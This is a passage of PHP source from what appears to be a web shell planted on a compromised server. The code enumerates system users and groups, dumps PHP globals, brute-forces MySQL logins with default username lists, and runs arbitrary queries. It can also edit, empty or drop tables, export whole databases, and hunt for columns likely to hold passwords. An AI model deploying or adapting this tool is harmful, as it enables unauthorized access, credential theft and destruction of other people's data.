738		if(isset($_GET['start']) && (int)get('start')) $start = (int)get('start');
739		else $start = 0;
740		if(isset($_GET['end']) && (int)get('end')) $end = (int)get('end');
741		else $end = 20000;
742		if(isset($_GET['startg']) && (int)get('startg')) $startg = (int)get('startg');
743		else $startg = 0;
744		if(isset($_GET['endg']) && (int)get('endg')) $endg = (int)get('endg');
745		else $endg = 500;
746		?>
747			<form method="get">
748				<input type="hidden" name="action" value="system" /><br />
749				<b>UID Range:</b><br />
750				Start: <input type="text" name="start" value="<?php echo $start; ?>" /><br />
751				End: <input type="text" name="end" value="<?php echo $end; ?>" /><br />
752				<b>GID Range:</b><br />
753				Start: <input type="text" name="startg" value="<?php echo $startg; ?>" /><br />
754				End: <input type="text" name="endg" value="<?php echo $endg; ?>" /><br />
755				<input type="submit" />
756			</form>
757			<h2>Users</h2>
758			<ul>
759		<?php
760		for($i = $start;$i < $end;$i++) {
761			$user = posix_getpwuid($i);
762			if($user) {
763				echo "<li> <b>".htmlentities($user['name'])."</b>
764				<blockquote>passwd: ".htmlentities($user['passwd'])."<br /> uid/gid: ".htmlentities($user['uid'])." / ".htmlentities($user['gid'])."<br /><!--gecos: ".htmlentities($user['gecos'])."<br />-->dir: ".htmlentities($user['dir'])."<br /><!--shell: ".htmlentities($user['shell'])."--></blockquote></li>";
765			} elseif($user === null) {
766				echo "<li> <b>Error:</b> posix_getpwuid() returned null. Should either return array or false. This most likely means it is disabled on this server. Stopping.</li>";
767				break;
768			}
769			
770		}?>
771			</ul>
772			<h2>Groups</h2>
773			<ul>
774		<?php
775		for($i = $startg;$i < $endg;$i++) {
776			$group = posix_getgrgid($i);
777			if($group) {
778				echo "<li> <b>".htmlentities($group['name'])."</b>
779				<blockquote>passwd: ".htmlentities($group['passwd'])."<br /> gid: ".htmlentities($group['gid'])."<br /> Members: <ul>";
780				foreach($group['members'] as $member) {
781					echo "<li>".$member."</li>";
782				}
783				echo "</ul></blockquote></li>";
784			}
785			
786		}//echo "<pre>";print_r(posix_getgrgid(103));print_r(posix_getgrgid(50));
787		?>
788			</ul>
789		<?php
790	break;
791	case "showglobals":
792		echo "<pre>";
793		echo htmlentities(print_r($GLOBALS,true));
794		echo"</pre>";
795	break;
796	case "mysql":
797		switch(get('type')) {
798			default:
799				?>
800					[<a href="?action=mysql&type=bf">Brute Force</a>]
801					[<a href="?action=mysql&type=query">Query</a>]
802					[<a href="?action=mysql&type=miniadmin">MiniAdmin</a>]
803				<?php
804			break;
805			case "bruteforce":
806			case "bf":
807				if(!post('users') || !post('passes')) {
808					?>
809					<form method="POST" action="?action=mysql&type=bruteforce">
810						<h3 style="margin:2px;">Brute force:</h3>
811						<textarea name="users" style="width:40%;height:350;"><?php echo (post('users') ? htmlentities(post('users')) : "root\nmysql\n".@get_current_user());?></textarea> <textarea name="passes" style="width:40%;height:350;"><?php echo (post('passes') ? htmlentities(post('passes')) : "\n\nmysql\n".@get_current_user());?></textarea><br>
812						<input type="submit" value="execute">
813					</form>
814					<?php
815				} else {
816					$passes = explode("\n",str_replace("\r","",post('passes')));
817					$users = explode("\n",str_replace("\r","",post('users')));
818					foreach($users as $user) {
819						foreach($passes as $pass) {
820							if(@mysql_pconnect('localhost',$user,$pass)) {
821								echo "<b>Success</b> with combination: <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
822							} else {
823								echo "Failure with combination:  <input type=\"text\" value=\"".htmlentities($user)."\" size=\"12\" />: <input type=\"text\" value=\"".htmlentities($pass)."\" size=\"12\" /><br />";
824							}
825						}
826					}
827				}				
828			break;
829			case "query":
830				if(!isset($_POST['user']) || !isset($_POST['pass']) || !post('query')) {
831					?>
832						<form method="post" action="?action=mysql&type=query">
833							MySQL host: <input type="text" name="host" value="<?php echo (post('host') ? htmlentities(post('host')) : 'localhost'); ?>" /><br />
834							MySQL user*: <input type="text" name="user" value="<?php echo htmlentities(post('user')); ?>" /><br />
835							MySQL pass: <input type="text" name="pass" value="<?php echo htmlentities(post('pass')); ?>" /><br />
836							MySQL database: <input type="text" name="database" value="<?php echo htmlentities(post('database')); ?>" /><br />
837							<textarea style="width:90%;height:300px;" name="query"><?php echo htmlentities(post('query')); ?></textarea><br />
838							Queries seperated by newlines.<br />
839							<input type="checkbox" name="cancelonfail" value="1" <?php if(post('cancelonfail')) echo "CHECKED"; ?>>Stop if a query fails?<br />
840							<input type="submit" value="Do it!" />
841						</form>
842						<b>Useful Queries:</b><br />
843						<ul>
844							<li>SHOW DATABASES;</li>
845							<li>USE <i>[database name]</i>;</li>
846							<li>SHOW TABLES;</li>
847							<li>SHOW COLUMNS IN <i>[table name]</i>;</li>
848							<li>SELECT * FROM <i>[table name]</i> LIMIT <i>1</i>;</li>
849							<li>SELECT * FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
850							<li>DELETE FROM <i>[table name]</i> WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
851							<li>DELETE FROM <i>[table name]</i>;</li>
852							<li>UPDATE <i>[table name]</i> SET <i>[column name]</i>='<i>value</i>', <i>[column name]</i>='<i>value</i>' WHERE <i>[column name]</i>='<i>value</i>' LIMIT <i>1</i>;</li>
853						</ul>
854					<?php
855				} else {
856					$connection = @mysql_pconnect((post('host') ? post('host') : 'localhost'),post('user'),post('pass')) or die('<b>Error:</b> Could not connect to the server. Wrong pass/user?');
857					echo "Connection established.<br />";
858					if(post('database')) {
859						@mysql_select_db(post('database'),$connection) or die('<b>Error:</b> no connection to the database. Does it exist?');
860						echo "Database selected.<br />";
861					}
862					$queries = explode("\n",str_replace("\r","",post('query')));
863					foreach($queries as $query) {
864						if($query) {
865							echo "<blockquote>";
866							if($q = mysql_query($query)) {
867								$aff_row = mysql_affected_rows();
868								echo "Query successful! (".$aff_row." affected rows)<br /><input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br />";
869								if(is_resource($q)) {
870									echo "<b>Query Result:</b><br />";
871									echo "<blockquote>";
872										while($qr = mysql_fetch_assoc($q)) {
873											echo "<pre>".htmlentities(print_r($qr,true))."</pre><hr />";
874										}
875									echo "</blockquote>";
876								} else {
877									echo "Query is resultless. (this means it's a query that will never return anything - like update or delete, not an empty select)<br />";
878								}
879							} else {
880								echo "<b>Query failed!</b><br />Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($query)."\" /><br /><b>MySQL error:</b> ".mysql_error()."<br />";
881								if(post('cancelonfail')) {
882									echo "</blockquote><hr />Query failed! stopping!<br />";
883									break;
884								}
885							}
886							echo "</blockquote><hr />";
887						}
888					}
889					echo "All done!<br />";
890				}
891			break;
892			case "miniadmin":
893				if(isset($_GET['u']) && isset($_GET['p'])) {
894					$url = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'));
895					if($mcon = @mysql_pconnect((get('h') ? get('h') : 'localhost'),get('u'),get('p'))) {
896						if(!get('shownone')) {
897							echo "<b>".htmlentities(get('h'))."</b> - ".htmlentities(get('db'))."<br />";
898							$databases = mysql_list_dbs();
899							echo "Databases: | ";
900							while ($row = mysql_fetch_row($databases)) {
901								if(get('db') != $row[0]) echo "<a href=\"".$url."&db=".htmlentities(urlencode($row[0]))."\">".$row[0]."</a> | \n";
902								else echo "<b>".$row[0]."</b> | ";
903							}
904							echo "<hr />";
905						}
906						if(get('db')) {
907							$urld = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'));
908							if(@mysql_select_db(get('db'),$mcon)) {
909								if(!get('shownone')) {
910									$tables = mysql_query("SHOW TABLES");
911									if($tables) {
912										echo "Tables: | ";
913										while ($row = mysql_fetch_row($tables)) {
914											if(get('tb') != $row[0]) echo "<a href=\"".$url."&db=".get('db')."&tb=".$row[0]."\">".$row[0]."</a> | \n";
915											else echo "<b>".$row[0]."</b> | ";
916										}
917										echo "<hr />";
918									} else {
919										echo "<b>Error:</b> The SHOW TABLES query failed! (".mysql_error().")<hr />";
920									}
921								}
922								if(get('tb')) {
923									$urlt = $_SERVER['SCRIPT_NAME']."?action=mysql&type=miniadmin&h=".urlencode(get('h'))."&u=".urlencode(get('u'))."&p=".urlencode(get('p'))."&db=".urlencode(get('db'))."&tb=".urlencode(get('tb'));
924									switch(get('ta')) {
925										default:
926											$getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
927											if($getcolumns) {
928												?><table border="1"><tr><td>Field</td><td>type</td><td>Key</td><td>default</td><td>AI?</td><td>Null?</td></tr><?php
929												while($column = mysql_fetch_assoc($getcolumns)) {
930													echo "<tr><td>".htmlentities($column['Field'])."</td><td>".htmlentities($column['Type'])."</td><td>".htmlentities(($column['Key'] ? $column['Key'] : 'none'))."</td><td>".htmlentities($column['Default'])."</td><td>".($column['Extra'] == "auto_increment" ? "y" : "n")."</td><td>".htmlentities($column['Null'])."</td></tr>";
931												}
932												?></table><br /><?php
933											} else die ("<b>Error:</b> Could not retrieve columns!<br />");
934											list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."`"));
935											echo "Number of entries: ".$totalrows."<br />";
936											echo "<hr />";
937										break;
938										case "delrow":
939											echo "<b>Deleting a row</b><br />";
940											$iden = get('trid');
941											if($query = get_iden_query($iden)) {
942												$getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
943												if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
944													echo "Row found!<br />";
945													if(!post('sure')) {
946														echo "<b>Are you sure you want to delete this row?</b><br /><form method='post'><input type='checkbox' name='sure' value='1' />Yes<br /><input type='submit'></form><b>Rowdata:</b><br />";
947														foreach($rowdata as $key => $val) {
948															echo "<u>".htmlentities($key)."</u>: <br />";
949															echo "<textarea>".htmlentities($val)."</textarea><br /><br />";
950														}
951													} else {
952														$quer = "DELETE FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1";
953														echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
954														if(mysql_query($quer)) {
955															echo "Deleted row successfully";
956														} else echo "<b>Mysql error while deleting:</b> ".htmlentities(mysql_error());
957													}
958												} else echo "Error: This row could not be found. Have you already deleted it?";
959											}
960											echo "<hr />";
961										break;
962										case "editrow":
963											echo "<b>Editing a row</b><br />";
964											$iden = get('trid');
965											if($query = get_iden_query($iden)) {
966												$getrow = mysql_query("SELECT * FROM `".mysql_real_escape_string(get('tb'))."` WHERE ".$query." LIMIT 1");
967												if($getrow && $rowdata = mysql_fetch_assoc($getrow)) {
968													echo "Row found!<br /><br />";
969													if(!$_POST) {
970														echo "<form method='post'><b>Edit the values below:</b><br />";
971														foreach($rowdata as $key => $val) {
972															echo "<u>".htmlentities($key)."</u>: <br />";
973															echo "<textarea style='width:90%;height:110px;' name=\"".htmlentities($key)."\">".htmlentities($val)."</textarea><br /><br />";
974														}
975														echo "<input type='submit' value='Edit!' /></form>";
976													} else {
977														$q2 = "";
978														foreach($rowdata as $key => $val) {
979															if(isset($_POST[$key]) && post($key) != $val) $q2 .= ($q2 ? ', ' : '')."`".$key."`='".post($key)."'";
980														}
981														if($q2) {
982															$quer = "UPDATE `".mysql_real_escape_string(get('tb'))."` SET ".$q2." WHERE ".$query." LIMIT 1";
983															echo "Query: <input type=\"text\" style=\"width:90%;\" value=\"".htmlentities($quer)."\" /><br />";
984															if(mysql_query($quer)) {
985																echo "Edited row successfully";
986															} else echo "<b>Mysql error while editing:</b> ".htmlentities(mysql_error());
987														} else echo "Error: You didn't change any rows!";
988													}
989												} else echo "Error: This row could not be found. Have you already deleted it?";
990											}
991											echo "<hr />";
992										break;
993										case "view":
994											$getcolumns = mysql_query("SHOW COLUMNS IN `".mysql_real_escape_string(get('tb'))."`");
995											if($getcolumns) {
996												$columns = array();
997												while($column = mysql_fetch_assoc($getcolumns)) {
998													$columns[] = $column;
999												}
1000											}  else die("<b>Error:</b> Could not retrieve columns! (".mysql_error().")<br />");
1001											$s = ((int)get('s') ? (int)get('s') : 0);
1002											$n = ((int)get('n') ? (int)get('n') : 100);
1003											$limit = $s.",".$n;
1004
1005											$userwhere = "";
1006											if(get('cwhere')) {
1007												//if(substr(trim(get('cwhere')),0,5) != 'where') $userwhere = "WHERE ".get('chwere');
1008												$userwhere = get('cwhere');
1009											}
1010
1011											$query = "SELECT * FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere." LIMIT ".$limit;
1012											$getrows = mysql_query($query);
1013											echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1014											echo '<form method="get" style="display:inline;">';
1015											foreach($_GET as $k => $v) if(!in_array($k,array("s","cwhere"))) echo "<input type=\"hidden\" name=\"".htmlentities($k)."\" value=\"".htmlentities($v)."\" />";
1016											echo 'Your custom additions: <input type="text" name="cwhere" value="'.(get('cwhere') ? htmlentities(get('cwhere')) : 'WHERE 1').'" size="60" /><input type="submit" value="change query"></form><br />';
1017											if($getrows) {
1018												list($totalrows) = mysql_fetch_row(mysql_query("SELECT COUNT(1) FROM `".mysql_real_escape_string(get('tb'))."` ".$userwhere));
1019												echo '<b>Page '.($n ? ($s/$n)+1 : 1).'</b> (Selecting '.$n.' out of a total of '.$totalrows.' rows, starting at '.$s.')<br />';
1020												if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1021												if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1022												echo "<table border='1'>\n<tr>";
1023												echo "<td>#</td><td></td>";
1024												$prim = array();
1025												foreach($columns as $column) {
1026													echo "<td>".($column['Key'] ? "<b>" : "").htmlentities($column['Field']).($column['Key'] ? "</b>" : "")." <i>(".htmlentities($column['Type']).")</i></td>";
1027													if($column['Key'] == "PRI") $prim[] = $column;
1028												}
1029												if(!$prim) $prim = $columns;
1030												echo "</tr>\n";
1031												$i = $s;
1032												while($row = mysql_fetch_assoc($getrows)) {
1033													$outp = "";
1034													$primaries = "";
1035													foreach($columns as $column) {
1036														if(in_array($column,$prim)) $primaries .= ($primaries ? "&" : "").urlencode($column['Field'])."=".htmlentities(urlencode($row[$column['Field']]));
1037														$outp .= "<td>";
1038														$size = 0;
1039														if(strpos($column['Type'],"(") === false) list($type) = explode("(",str_replace(")","",$column['Type']),2);
1040														else list($type,$size) = explode("(",str_replace(")","",$column['Type']),2);
1041														$size = intval($size);
1042														switch($type) {
1043															default: $outp .= htmlentities($row[$column['Field']]); break;
1044															case "int": $outp .= $row[$column['Field']]; break;
1045															case "varchar": case "char": $outp .= '<input type="text" size="'.(($size > 0 && $size < 20) ? $size : 25).'" value="'.htmlentities($row[$column['Field']]).'" />'; break;
1046															case "text": case "longtext": $outp .= '<textarea style="width:200px; height:50px;">'.htmlentities($row[$column['Field']]).'</textarea>'; break;
1047														}
1048														$outp .= "</td>";
1049													}
1050													$identification = "trid=".base64_encode($primaries);
1051													echo "<tr ".(($i%2) ? 'bgcolor="#EEEEEE"' : '')."><td>".$i."</td><td><a href='".$urlt."&ta=delrow&".$identification."'>X</a> <a href='".$urlt."&ta=editrow&".$identification."'>E</a></td>";
1052													$outp .= "</tr>\n";
1053													echo $outp;
1054													$i++;
1055												}
1056												echo "</table>";
1057												if(($s-$n) >= 0) echo '[<a href="'.$urlt.'&ta=view&s='.($s-$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'"><<Page</a>]';
1058												if(($s+$n) <= $totalrows) echo '[<a href="'.$urlt.'&ta=view&s='.($s+$n).'&n='.$n.(get('cwhere') ? '&cwhere='.htmlentities(urlencode(get('cwhere'))) : '' ).'">Page>></a>]';
1059											} else echo "<b>Error:</b> Could not get data due to mysql error (".mysql_error().")<br />";
1060											echo "<hr />";
1061										break;
1062										case "empty":
1063											if(post('sure')) {
1064												$query = "DELETE FROM `".mysql_real_escape_string(get('tb'))."`";
1065												echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1066												if(mysql_query($query)) echo "Successfully emptied the table!<br />";
1067												else echo "MySQL error while emptying table: ".mysql_error()."<br />";
1068											} else {
1069												?>
1070												<form method="post" action="<?php echo htmlentities($urlt);?>&ta=empty">Are you sure you want to empty the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1071												<?php
1072											}
1073											echo "<hr />";
1074										break;
1075										case "drop":
1076											if(post('sure')) {
1077												$query = "DROP TABLE `".mysql_real_escape_string(get('tb'))."`";
1078												echo 'Query: <input type="text" value="'.htmlentities($query).'" size="100" /><br />';
1079												if(mysql_query($query)) echo "Successfully dropped the table!<br />";
1080												else echo "MySQL error while dropping the table: ".mysql_error()."<br />";
1081											} else {
1082												?>
1083												<form method="post" action="<?php echo htmlentities($urlt);?>&ta=drop">Are you sure you want to drop the table '<?php echo htmlentities(get('tb')); ?>'? This cannot be reversed. <br /><input type="checkbox" name="sure" value="1" />Yes.<br /><input type="submit" value="Yes" /></form>
1084												<?php
1085											}
1086											echo "<hr />";
1087										break;
1088										case "dlsql":
1089											@header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb').".sql\"");
1090											@header("Content-type: text/plain");
1091											list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1092											echo "-- - table structure: ".get('h')." / ".get('db')." / ".get('tb')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1093											gettablesql(get('tb'));
1094											exit;
1095										break;
1096										case "dlsqldump":
1097											@header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-".get('tb')."-data.sql\"");
1098											@header("Content-type: text/plain");
1099											list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1100											echo "-- - table dump: ".get('h')." / ".get('db')." / ".get('tb')."\n-- - ".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1101											gettablesql(get('tb'));
1102											gettablecontentsql(get('tb'),((int)get('break') ? (int)get('break') : 100));
1103											exit;
1104										break;
1105									}
1106									if(!get('shownone')) {
1107										echo '<b>Table actions:</b><br />[<a href="'.$urlt.'&ta=view&s=0&n=10">view data</a> 10/page] [<a href="'.$urlt.'&ta=view&s=0&n=50">view data</a> 50/page] [<a href="'.$urlt.'&ta=view&s=0&n=100">view data</a> 100/page] [<a href="'.$urlt.'&ta=view&s=0&n=200">view data</a> 200/page] [<a href="'.$urlt.'&ta=view&s=0&n=500">view data</a> 500/page] [<a href="'.$urlt.'&ta=view&s=0&n=1000">view data</a> 1000/page]<br />';
1108										echo '[<a href="'.$urlt.'">view structure</a>] [<a href="'.$urlt.'&ta=empty">empty</a>] [<a href="'.$urlt.'&ta=drop">drop</a>] [<a href="'.$urlt.'&ta=insert">insert</a>]  [<a href="'.$urlt.'&ta=dlsql&shownone=1">download table structure (sql)</a>] [<a href="'.$urlt.'&ta=dlsqldump&shownone=1">download table dump (sql)</a>]';
1109										echo "<hr />";
1110									}
1111								} else {//no table selected
1112									switch(get('da')) {
1113										default:
1114
1115										break;
1116										case "dlsql":
1117											@header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db').".sql\"");
1118											@header("Content-type: text/plain");
1119											$gettables = mysql_query("SHOW TABLES");
1120											$tables = array();
1121											echo "-- - Database structure: ".get('h')." / ".get('db')."\n-- -".date('r')."\n";
1122											while($table= mysql_fetch_row($gettables)) {
1123												gettablesql($table[0]);
1124											}
1125										break;
1126										case "dlsqldump":
1127											@header("Content-Disposition: attachment; filename=\"".get('h')."-".get('db')."-data.sql\"");
1128											@header("Content-type: text/plain");
1129											$gettables = mysql_query("SHOW TABLES");
1130											$tables = array();
1131											list($ver) = mysql_fetch_row(mysql_query("SELECT @@version"));
1132											echo "-- - Database dump: ".get('h')." / ".get('db')."\n-- -".date('r')."\n-- - mysql user: ".get('u')." MySQL version: ".$ver."\n";
1133											while($table= mysql_fetch_row($gettables)) {
1134												echo "\n-- - Table structure: ".$table[0]."\n";
1135												gettablesql($table[0]);
1136												echo "\n-- - Table data: ".$table[0]."\n";
1137												gettablecontentsql($table[0],((int)get('break') ? (int)get('break') : 1000));
1138												echo "\n\n";
1139											}
1140											exit;
1141										break;
1142
1143									}
1144								}
1145								if(!get('shownone')) echo '<b>Database actions:</b> <br />[<a href="'.$urld.'&da=dlsql&shownone=1">download database structure (sql)</a>] [<a href="'.$urld.'&da=dlsqldump&shownone=1">download database dump (sql)</a>] <hr />';
1146								
1147							} else {
1148								die( "<b>Error:</b> Selected database does not exist/can't be accessed.<br />");
1149							}
1150						} else {
1151							switch(get('a')) {
1152								case "findpwcols":
1153									echo "<b>Finding columns containing 'pass' or 'pw'</b><br />";
1154									$needle = array('pass','pw');
1155									findindb($needle,'col');
1156									echo "<hr />";
1157								break;
1158								case "find":
1159									if(post('find')) {
1160										echo "<b>Finding columns containing ".htmlentities(post('find'))."</b><br />";
1161										$needle = explode(",",str_replace(" ","",post('find')));
1162										if(post('type') == 'col') findindb($needle,'col',(post('stype') == 1));
1163										else findindb($needle,'table',(post('stype') == 1));
1164										echo "<hr />";
1165									} else {
1166										?>
1167											<form method="POST" action="<?php echo htmlentities($_SERVER['REQUEST_URI']); ?>">
1168												Find<br />
1169												<input type="radio" name="type" value="col" />columns <input type="radio" name="type" value="table" /> tables<br />
1170												<input type="radio" name="stype" value="0" />containing <input type="radio" name="stype" value="1" /> named<br />
1171												<input type="text" name="find" value="" /> (Separated by comma)<br />
1172												<input type="submit" value="Do it!" />
1173											</form>
1174										<?php
1175									}
1176								break;
1177								case "dlsql":
1178									@header("Content-Disposition: attachment; filename=\"".get('h')."-alldbs.sql\"");
1179									@header("Content-type: text/plain");
1180									$dbprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('dbprefix'));
1181									$onlywithprefix = preg_replace('~^([^\\d\\w_\\-]*)$~is','',get('onlywithprefix'));
1182									$getdatabases = mysql_list_dbs();
1183									if($onlywithprefix ) echo "-- - Only tables with prefix: ".$onlywithprefix."\n";
1184									while ($db = mysql_fetch_row($getdatabases)) {
1185										if(!$onlywithprefix || substr($db[0],0,strtolower(strlen($onlywithprefix))) == strtolower($onlywithprefix)) {
1186											mysql_query("USE `".$db[0]."`");
1187											$gettables = mysql_query("SHOW TABLES");
1188											$tables = array();
1189											echo "-- - Database structure: ".get('h')." / ".$db[0]."\n-- - ".date('r')."\n";
1190											if($dbprefix) echo "-- - Added prefix: ".$dbprefix."\n";
1191											echo "CREATE DATABASE `".$dbprefix.$db[0]."`;\n";
1192											echo "USE `".$dbprefix.$db[0]."`;\n\n";
1193											while($table= mysql_fetch_row($gettables)) {
1194												gettablesql($table[0]);
1195											}
1196										} else {
1197											echo "-- - Skipping database: ".$db[0].", because of wrong prefix.\n";
1198										}
1199									}
1200									exit;
1201								break;
1202							}
1203							if(!get('shownone')) echo "<hr />";
1204						}
1205						if(!get('shownone')) echo '<b>General actions:</b> <br />[<a href="'.$url.'&a=findpwcols">Find columns probably containing passwords</a>] [<a href="'.$url.'&a=find">Search columns/tables</a>] [<a href="'.$url.'&a=dlsql&shownone=1">Download structure of all databases</a>]';
1206					} else {
1207						echo "<b>Error:</b> Could not connect to server (wrong pass?)<br />";
1208						$needlogin = 1;
1209					}
1210				} else $needlogin = 1;
1211				if(isset($needlogin)) {
1212					?>
1213					<form method="GET" action="<?php echo htmlentities($_SERVER['SCRIPT_NAME']); ?>">
1214						<input type="hidden" name="action" value="mysql" />
1215						<input type="hidden" name="type" value="miniadmin" />
1216						Host: <input type="text" name="h" value="<?php echo (get('h') ? get('h') : 'localhost'); ?>" /><br />
1217						MySQL user: <input type="text" name="u" value="<?php echo get('u') ?>" /><br />
1218						MySQL pass: <input type="text" name="p" value="<?php echo get('p') ?>" /><br />
1219						<input type="submit" value="Go!" />
1220					</form>
1221					<?php
1222				}
1223			break;
1224
1225		}
1226	break;
1227}
1228?>